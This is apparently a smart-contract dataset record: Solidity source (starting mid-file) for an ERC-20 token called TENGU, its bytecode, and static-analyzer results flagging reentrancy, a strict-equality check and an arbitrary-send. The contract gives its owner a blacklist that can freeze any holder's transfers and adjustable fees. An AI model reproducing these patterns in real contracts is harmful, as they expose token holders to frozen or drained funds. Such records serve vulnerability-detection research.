0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract TENGU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "TENGU"; string private constant _symbol = "TENGU"; uint private constant _decimals = 9; uint256 private _teamFee = 10; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(5); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (2 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bc578063cf0848f7146103d1578063cf9d4afa146103f1578063dd62ed3e14610411578063e6ec64ec14610457578063f2fde38b1461047757600080fd5b8063715018a61461031f5780638da5cb5b1461033457806390d49b9d1461035c57806395d89b4114610172578063a9059cbb1461037c578063b515566a1461039c57600080fd5b806331c2d8471161010857806331c2d847146102385780633bbac57914610258578063437823ec14610291578063476343ee146102b15780635342acb4146102c657806370a08231146102ff57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101af57806318160ddd146101df57806323b872dd14610204578063313ce5671461022457600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610497565b005b34801561017e57600080fd5b50604080518082018252600581526454454e475560d81b602082015290516101a6919061190a565b60405180910390f35b3480156101bb57600080fd5b506101cf6101ca366004611984565b6104e3565b60405190151581526020016101a6565b3480156101eb57600080fd5b50678ac7230489e800005b6040519081526020016101a6565b34801561021057600080fd5b506101cf61021f3660046119b0565b6104fa565b34801561023057600080fd5b5060096101f6565b34801561024457600080fd5b50610170610253366004611a07565b610563565b34801561026457600080fd5b506101cf610273366004611acc565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561029d57600080fd5b506101706102ac366004611acc565b6105f9565b3480156102bd57600080fd5b50610170610647565b3480156102d257600080fd5b506101cf6102e1366004611acc565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030b57600080fd5b506101f661031a366004611acc565b610681565b34801561032b57600080fd5b506101706106a3565b34801561034057600080fd5b506000546040516001600160a01b0390911681526020016101a6565b34801561036857600080fd5b50610170610377366004611acc565b6106d9565b34801561038857600080fd5b506101cf610397366004611984565b610753565b3480156103a857600080fd5b506101706103b7366004611a07565b610760565b3480156103c857600080fd5b50610170610879565b3480156103dd57600080fd5b506101706103ec366004611acc565b610930565b3480156103fd57600080fd5b5061017061040c366004611acc565b61097b565b34801561041d57600080fd5b506101f661042c366004611ae9565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046357600080fd5b50610170610472366004611b22565b610bd6565b34801561048357600080fd5b50610170610492366004611acc565b610c4c565b6000546001600160a01b031633146104ca5760405162461bcd60e51b81526004016104c190611b3b565b60405180910390fd5b60006104d530610681565b90506104e081610ce4565b50565b60006104f0338484610e5e565b5060015b92915050565b6000610507848484610f82565b610559843361055485604051806060016040528060288152602001611cb6602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113c3565b610e5e565b5060019392505050565b6000546001600160a01b0316331461058d5760405162461bcd60e51b81526004016104c190611b3b565b60005b81518110156105f5576000600560008484815181106105b1576105b1611b70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ed81611b9c565b915050610590565b5050565b6000546001600160a01b031633146106235760405162461bcd60e51b81526004016104c190611b3b565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f5573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f4906113fd565b6000546001600160a01b031633146106cd5760405162461bcd60e51b81526004016104c190611b3b565b6106d76000611481565b565b6000546001600160a01b031633146107035760405162461bcd60e51b81526004016104c190611b3b565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f0338484610f82565b6000546001600160a01b0316331461078a5760405162461bcd60e51b81526004016104c190611b3b565b60005b81518110156105f557600c5482516001600160a01b03909116908390839081106107b9576107b9611b70565b60200260200101516001600160a01b03161415801561080a5750600b5482516001600160a01b03909116908390839081106107f6576107f6611b70565b60200260200101516001600160a01b031614155b156108675760016005600084848151811061082757610827611b70565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087181611b9c565b91505061078d565b6000546001600160a01b031633146108a35760405162461bcd60e51b81526004016104c190611b3b565b600c54600160a01b900460ff166109075760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c1565b600c805460ff60b81b1916600160b81b17905542600d81905561092b906078611bb7565b600e55565b6000546001600160a01b0316331461095a5760405162461bcd60e51b81526004016104c190611b3b565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a55760405162461bcd60e51b81526004016104c190611b3b565b600c54600160a01b900460ff1615610a0d5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c1565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a889190611bcf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af99190611bcf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6a9190611bcf565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c005760405162461bcd60e51b81526004016104c190611b3b565b600f811115610c475760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104c1565b600855565b6000546001600160a01b03163314610c765760405162461bcd60e51b81526004016104c190611b3b565b6001600160a01b038116610cdb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c1565b6104e081611481565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2c57610d2c611b70565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da99190611bcf565b81600181518110610dbc57610dbc611b70565b6001600160a01b039283166020918202929092010152600b54610de29130911684610e5e565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1b908590600090869030904290600401611bec565b600060405180830381600087803b158015610e3557600080fd5b505af1158015610e49573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c1565b6001600160a01b038216610f215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fe65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c1565b6001600160a01b0382166110485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c1565b600081116110aa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c1565b6001600160a01b03831660009081526005602052604090205460ff16156111525760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c1565b6001600160a01b03831660009081526004602052604081205460ff1615801561119457506001600160a01b03831660009081526004602052604090205460ff16155b80156111aa5750600c54600160a81b900460ff16155b80156111da5750600c546001600160a01b03858116911614806111da5750600c546001600160a01b038481169116145b156113b157600c54600160b81b900460ff166112385760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c1565b50600c546001906001600160a01b0385811691161480156112675750600b546001600160a01b03848116911614155b8015611274575042600e54115b156112bb57600061128484610681565b90506112a4606461129e678ac7230489e8000060026114d1565b90611550565b6112ae8483611592565b11156112b957600080fd5b505b600d544214156112e9576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f430610681565b600c54909150600160b01b900460ff1615801561131f5750600c546001600160a01b03868116911614155b156113af5780156113af57600c546113539060649061129e90600f9061134d906001600160a01b0316610681565b906114d1565b81111561138057600c5461137d9060649061129e90600f9061134d906001600160a01b0316610681565b90505b600061138d826005611550565b90506113998183611c5d565b91506113a4816115f1565b6113ad82610ce4565b505b505b6113bd84848484611621565b50505050565b600081848411156113e75760405162461bcd60e51b81526004016104c1919061190a565b5060006113f48486611c5d565b95945050505050565b60006006548211156114645760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c1565b600061146e611724565b905061147a8382611550565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114e0575060006104f4565b60006114ec8385611c74565b9050826114f98583611c93565b1461147a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c1565b600061147a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611747565b60008061159f8385611bb7565b90508381101561147a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c1565b600c805460ff60b01b1916600160b01b1790556116113061dead83610f82565b50600c805460ff60b01b19169055565b808061162f5761162f611775565b60008060008061163e87611791565b6001600160a01b038d166000908152600160205260409020549397509195509350915061166b90856117d8565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461169a9084611592565b6001600160a01b0389166000908152600160205260409020556116bc8161181a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170191815260200190565b60405180910390a3505050508061171d5761171d600954600855565b5050505050565b6000806000611731611864565b90925090506117408282611550565b9250505090565b600081836117685760405162461bcd60e51b81526004016104c1919061190a565b5060006113f48486611c93565b60006008541161178457600080fd5b6008805460095560009055565b6000806000806000806117a6876008546118a4565b9150915060006117b4611724565b90506000806117c48a85856118d1565b909b909a5094985092965092945050505050565b600061147a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c3565b6000611824611724565b9050600061183283836114d1565b3060009081526001602052604090205490915061184f9082611592565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061187f8282611550565b82101561189b57505060065492678ac7230489e8000092509050565b90939092509050565b600080806118b7606461129e87876114d1565b905060006118c586836117d8565b96919550909350505050565b600080806118df86856114d1565b905060006118ed86866114d1565b905060006118fb83836117d8565b92989297509195505050505050565b600060208083528351808285015260005b818110156119375785810183015185820160400152820161191b565b81811115611949576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e057600080fd5b803561197f8161195f565b919050565b6000806040838503121561199757600080fd5b82356119a28161195f565b946020939093013593505050565b6000806000606084860312156119c557600080fd5b83356119d08161195f565b925060208401356119e08161195f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a1a57600080fd5b823567ffffffffffffffff80821115611a3257600080fd5b818501915085601f830112611a4657600080fd5b813581811115611a5857611a586119f1565b8060051b604051601f19603f83011681018181108582111715611a7d57611a7d6119f1565b604052918252848201925083810185019188831115611a9b57600080fd5b938501935b82851015611ac057611ab185611974565b84529385019392850192611aa0565b98975050505050505050565b600060208284031215611ade57600080fd5b813561147a8161195f565b60008060408385031215611afc57600080fd5b8235611b078161195f565b91506020830135611b178161195f565b809150509250929050565b600060208284031215611b3457600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bb057611bb0611b86565b5060010190565b60008219821115611bca57611bca611b86565b500190565b600060208284031215611be157600080fd5b815161147a8161195f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c3c5784516001600160a01b031683529383019391830191600101611c17565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c6f57611c6f611b86565b500390565b6000816000190483118215151615611c8e57611c8e611b86565b500290565b600082611cb057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122098fcbc4ac18d242cef8b37410f43f2370bf1fcef463011b9ceb9bd91644ac08364736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
499